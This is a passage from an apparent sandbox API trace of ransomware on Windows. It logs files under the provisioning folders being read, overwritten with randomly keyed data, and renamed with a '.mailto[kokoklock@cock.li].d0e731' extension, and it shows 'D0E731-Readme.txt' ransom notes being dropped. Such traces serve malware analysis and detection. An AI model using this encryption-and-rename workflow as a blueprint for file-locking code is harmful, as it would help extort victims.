Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0081.965] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.967] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0081.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.967] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0081.968] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt" [0081.968] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\d0e731-readme.txt")) returned 0xffffffff [0081.968] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0081.968] WriteFile (in: hFile=0x634, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2693fa30, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2693fa30*=0x481, lpOverlapped=0x0) returned 1 [0081.970] CloseHandle (hObject=0x634) returned 1 [0081.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34356c8) returned 1 [0081.971] RtlExitUserThread (Status=0x1) Thread: id = 1081 os_tid = 0x17e8 [0081.972] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml")) returned 0x20 [0081.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0081.973] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x634 [0081.973] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x269bfbb8 | out: lpFileSize=0x269bfbb8*=271) returned 1 [0081.973] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.973] ReadFile (in: hFile=0x634, lpBuffer=0x269bfb8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x269bfb8c*, lpNumberOfBytesRead=0x269bfb88*=0x4, lpOverlapped=0x0) returned 1 [0081.975] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.975] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c948 [0081.975] NtQuerySystemTime (in: CurrentTime=0x269bfb64 | out: CurrentTime=0x269bfb64*=132121176398653653) returned 0x0 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xb28690ea [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x643f5f95 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x374cce0 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x5d71d397 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xe9c7f76a [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x8a20f96e [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x6c190abe [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xb6d947c3 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x2c2fc49d [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x4334d8c9 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x506afed9 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x704eb166 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x83af26d [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x6bd52b19 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xe3c05b8e [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x6d42c93e [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x58fc2e07 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x3c006be5 [0081.975] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x350f11ea [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x62b11568 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x1c75f2f5 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x965c265b [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x70e60c33 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xa1e7128d [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x85518afa [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x72d3c576 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x535e9077 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xdd55d646 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x8d583ff8 [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0x86344a7f [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xa8b833ff [0081.976] RtlRandom (in: Seed=0x269bfb70 | out: Seed=0x269bfb70) returned 0xc5c31b20 [0081.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.992] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.992] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.993] ReadFile (in: hFile=0x634, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x269bfb64, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x269bfb64*=0x10f, lpOverlapped=0x0) returned 1 [0081.993] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269bfb2c | out: lpNewFilePointer=0x0) returned 1 [0081.993] WriteFile (in: hFile=0x634, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x269bfb60, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x269bfb60*=0x10f, lpOverlapped=0x0) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.993] WriteFile (in: hFile=0x634, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x269bfb5c, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x269bfb5c*=0x20, lpOverlapped=0x0) returned 1 [0081.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x269bfb88*=0x8, lpOverlapped=0x0) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x269bfba0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x269bfba0*, lpNumberOfBytesWritten=0x269bfb88*=0x4, lpOverlapped=0x0) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x269bfb88*=0x4, lpOverlapped=0x0) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x269bfb88*=0x6c, lpOverlapped=0x0) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x269bfb88*=0x20, lpOverlapped=0x0) returned 1 [0081.994] WriteFile (in: hFile=0x634, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x269bfb88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x269bfb88*=0x4, lpOverlapped=0x0) returned 1 [0081.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.995] CloseHandle (hObject=0x634) returned 1 [0081.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a268 [0081.995] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" [0081.995] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0081.995] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.996] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.996] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0081.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.997] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\" [0081.997] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt" [0081.997] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\d0e731-readme.txt")) returned 0x20 [0081.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476e50) returned 1 [0081.997] RtlExitUserThread (Status=0x1) Thread: id = 1082 os_tid = 0x17ec [0082.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3429108 [0082.002] wcscpy (in: _Dest=0x3429108, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0082.002] wcscat (in: _Dest=0x3429108, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0082.002] wcscat (in: _Dest=0x3429108, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*" [0082.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aaad8 [0082.002] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfdd8 [0082.003] wcscmp (_String1=".", _String2=".") returned 0 [0082.003] FindNextFileW (in: hFindFile=0x33dfdd8, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.003] wcscmp (_String1="..", _String2=".") returned 1 [0082.003] wcscmp (_String1="..", _String2="..") returned 0 [0082.003] FindNextFileW (in: hFindFile=0x33dfdd8, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0082.003] wcscmp (_String1="RunTime", _String2=".") returned 1 [0082.003] wcscmp (_String1="RunTime", _String2="..") returned 1 [0082.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x34320a0 [0082.003] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0082.003] wcscat (in: _Dest=0x34320a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0082.003] wcscat (in: _Dest=0x34320a0, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0082.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34320a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0082.953] FindNextFileW (in: hFindFile=0x33dfdd8, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.953] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.953] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f7d68 [0082.953] wcscpy (in: _Dest=0x33f7d68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov" [0082.953] wcscat (in: _Dest=0x33f7d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0082.953] wcscat (in: _Dest=0x33f7d68, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" [0082.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f7d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0082.954] FindNextFileW (in: hFindFile=0x33dfdd8, lpFindFileData=0x34aaad8 | out: lpFindFileData=0x34aaad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.954] FindClose (in: hFindFile=0x33dfdd8 | out: hFindFile=0x33dfdd8) returned 1 [0082.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aaad8) returned 1 [0082.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429108) returned 1 [0082.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428ee0) returned 1 [0082.954] RtlExitUserThread (Status=0x0) Thread: id = 1083 os_tid = 0x17f0 [0082.004] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml")) returned 0x20 [0082.005] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0082.005] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0082.005] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x26abf9f4 | out: lpFileSize=0x26abf9f4*=1439) returned 1 [0082.005] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x59b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.005] ReadFile (in: hFile=0x454, lpBuffer=0x26abf9c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26abf9c4, lpOverlapped=0x0 | out: lpBuffer=0x26abf9c8*, lpNumberOfBytesRead=0x26abf9c4*=0x4, lpOverlapped=0x0) returned 1 [0082.007] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0082.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0082.007] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0082.007] NtQuerySystemTime (in: CurrentTime=0x26abf9a0 | out: CurrentTime=0x26abf9a0*=132121176398967948) returned 0x0 [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xdcf33b3a [0082.008] RtlRandom (in: Seed=0x26abf9ac | out: Seed=0x26abf9ac) returned 0xf9126c08 [0082.008] RtlRandom (in: 